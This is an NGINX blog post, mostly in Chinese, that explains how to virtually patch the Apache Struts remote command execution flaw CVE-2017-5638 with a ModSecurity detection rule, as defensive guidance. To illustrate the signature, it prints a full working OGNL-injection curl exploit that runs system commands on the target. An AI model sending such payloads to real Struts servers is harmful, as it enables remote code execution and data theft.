使用ModSecurity对Apache Struts CVE-2017-5638进行虚拟修补

NGINX | 2018年1月22日

[编辑:NGINX ModSecurity WAF模块已于2022年4月1日正式停止销售,并将于2024年3月31日终止生命周期。有关详细信息,请参阅我们博客上的《F5 NGINX ModSecurity WAF即将终止生命周期》<.htmla>。]

应用程序代码所使用的库中存在许多安全漏洞。如果无法快速为库中的代码部署修复程序,可以使用ModSecurity拦截漏洞利用,对受影响的代码进行“虚拟修补”,直至能够升级受影响的库。

The Apache Struts application library vulnerability (CVE-2017-5638), which led to the breach of 143 million accounts at Equifax, is an example of exploit that can be virtually patched. The signature of the vulnerability is the presence of #cmd= or #cmds= strings in the Content-Type, Content-Disposition, or Content-Length HTTP headers. (For more details, see below.)

使用ModSecurity,我们可以创建一条简单规则,在受影响的HTTP标头中搜索恶意字符串,从而实现虚拟补丁:

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

我们使用“SecRule”定义规则,并提供3个参数:

  1. 要搜索的请求标头,由3个通过逻辑“或”连接的REQUEST_HEADERS变量组成
  2. The PERL‑compatible regular expression (PCRE), as specified by @rx, that searches the specified request headers for strings including #cmd= or #cmds=
  3. 要执行的操作

如果将ModSecurity配置为“主动阻止模式”,它会丢弃所有与PCRE匹配并因此触发该规则的流量。

阅读我们的电子书,了解如何开始结合使用NGINX和ModSecurity:ModSecurity 3.0与NGINX:快速入门指南

为什么需要虚拟补丁?

在许多情况下,在ModSecurity中部署规则,比修补受影响的代码、重新测试后再部署到生产环境更快。

以Apache Struts漏洞为例:由于Struts是应用程序库,而不是操作系统软件包,因此在企业生产环境中更新Struts可能需要一些时间。升级到新版Struts时,需要使用最新的Struts库重新构建并测试每个依赖Struts的应用程序。大型组织可能拥有数百个应用程序,每个应用程序使用的Struts应用程序库版本各不相同,因此在所有应用程序全部更新之前,组织仍可能面临此漏洞带来的风险。

部署ModSecurity自定义规则后,便可按照合理的计划谨慎修补生产软件,无需承受漏洞暴露带来的压力。所有受影响的软件更新完毕后,即可停用该自定义规则。

CVE-2017-5638漏洞利用的工作原理

Apache Struts CVE-2017-5638是一个远程命令执行(RCE)漏洞。攻击者可利用此类漏洞在目标系统上运行任意命令,例如/bin/bash或cmd.exe。借助此能力,攻击者可以在文件系统和网络中搜索敏感数据,并拥有与Java应用服务器相同的访问权限。例如,如果Java应用服务器以root身份运行,攻击者就会在目标系统上拥有root权限。

根据官方CVE,当攻击者发送格式错误的Content-Type、Content-Disposition或Content-Length HTTP标头时,就会触发此漏洞。当这些HTTP标头与任何预期值都不匹配时,Apache Struts会抛出异常。问题在于,异常处理代码会尝试输出未经转义的无效标头。(在此上下文中,“未经转义”是指可疑命令前未添加用于阻止其执行的字符,即转义字符。输出代码时通常会添加此类字符。)

攻击者可以将对象图导航库(OGNL)表达式放入Content-Type标头中。OGNL能够运行系统命令。当未经转义的无效标头被输出时,系统会对OGNL表达式求值,并执行其中的所有系统命令。

漏洞利用通常是以下curl命令的变体。

curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

关键语法位于命令的后半部分:字符串“#cmd=”和“#cmds=”各出现一次(上方已突出显示)。每个字符串后面都跟有要运行的系统命令。

总结

首选方案始终是立即修补存在漏洞的软件。但修补生产环境中的软件可能很耗时,仓促更新也可能带来风险。使用ModSecurity为存在漏洞的软件创建虚拟补丁,可以争取更多时间。

使用虚拟补丁时,可以创建自定义ModSecurity规则,阻止可能利用CVE-2017-5638等安全漏洞的流量,从而保护网站免受攻击。这样,便可按照合理的计划谨慎修补生产服务器,而不必担心在此期间遭受攻击。

如需进一步了解ModSecurity和NGINX ModSecurity WAF,请下载我们的电子书《ModSecurity 3.0与NGINX:快速入门指南》。

资源

[适用于NGINX Plus的NGINX ModSecurity WAF模块已于2022年4月1日正式停止销售,并将于2024年3月31日终止生命周期。有关更多详细信息,请参阅博客文章《F5 NGINX ModSecurity WAF即将终止生命周期》<.htmla>。]


分享
标签: F5 NGINX, Tech

相关博客文章

NGINX Plus R26 正式发布
NGINX | 2022/02/15

NGINX Plus R26 正式发布

NGINX Plus R26通过缓存JSON Web密钥集加快JWT验证,并强化TLS握手,从而提升安全性。NGINX JavaScript的新功能包括增强对异步函数的支持,以及实现WebCrypto API。

使用NGINX App Protect DoS保护gRPC应用,抵御严重的DoS攻击
NGINX | 2022/02/10

使用NGINX App Protect DoS保护gRPC应用,抵御严重的DoS攻击

gRPC具备开发人员设计和部署现代应用所需的速度与灵活性,但其开放性也使其极易受到第7层DoS攻击。NGINX App Protect DoS可保护gRPC应用免受此类破坏性攻击。

Ingress Controller 选型指南(第 2 部分):风险与面向未来的规划
NGINX | 2021/09/13

Ingress Controller 选型指南(第 2 部分):风险与面向未来的规划

了解选择错误的Ingress控制器可能带来的风险,以及如何从关键方面着手,让您的选择更好地适应未来需求。

NGINX Plus R19 正式发布
NGINX | 2019/09/03

NGINX Plus R19 正式发布

NGINX Plus R19扩展了监控功能,不仅提供更多指标,还新增了指标分析方式;增加试运行模式,用于测试限速效果;增强键值存储,以支持IP地址范围;并使限速更加动态。

NGINX现已正式加入F5
NGINX | 2019/05/09

NGINX现已正式加入F5

NGINX现已正式成为F5的一部分。Gus Robertson现任F5 NGINX业务部门负责人。他阐述了两家公司在人才、文化和愿景方面融合的价值,以及双方将如何携手增强NGINX的开源产品和商业产品。

使用NGINX和NGINX Plus实现高性能缓存
NGINX | 2016/08/24

使用NGINX和NGINX Plus实现高性能缓存

我将介绍NGINX在内容缓存和性能方面的工作原理,并分享一些控制NGINX内容缓存方式的技巧。